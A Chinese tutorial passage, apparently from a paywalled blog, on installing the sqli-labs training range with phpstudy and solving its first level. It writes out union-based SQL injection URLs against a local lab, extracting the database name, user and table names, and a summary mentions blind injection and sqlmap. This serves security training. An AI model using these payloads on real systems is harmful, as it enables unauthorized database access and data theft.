靶场搭建与1-10GET型注入实战
目录
环境准备
下载phpstudy
小皮面板(phpstudy) - 让天下没有难配的服务器环境!
下载sqli-labs靶场环境
GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.
运行phpstudy环境,开启apache和mysql

将php环境改为5版本,因为7版本删除了一些函数,靶场环境不能正常连接

靶场环境初始化
将sqli靶场解压之后房子phpstudy的www目录下,访问127.0.0.1/sql

点击Setup/reset Database for labs 进行靶场环境初始化
初始化之后即可正常进行靶场测试了。
Less-1
‘单引号注入
判断查询列数
http://127.0.0.1/sql/Less-1/?id=1' order by 4 -- - 报错
http://127.0.0.1/sql/Less-1/?id=1' order by 3 -- - 正常
说明查询列数为3
判断显示位
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3 -- - 确认显示位为2和3
数据库名和数据库用户
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,database(),user() -- - security和root@localhost
表名
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(table_name),user() from information_schema.tables where table_schema="security" -- - 确认表名emails,referer

本文介绍了SQLI_LIBS靶场的搭建过程,并通过1-10关GET型注入的实战,展示了如何利用注入漏洞获取数据库信息。从单引号注入到双引号变形,再到布尔型和时间型盲注,详细讲解了不同类型的SQL注入技巧,并给出了利用sqlmap工具的辅助方法。
最低0.47元/天 解锁文章
750

被折叠的 条评论
为什么被折叠?



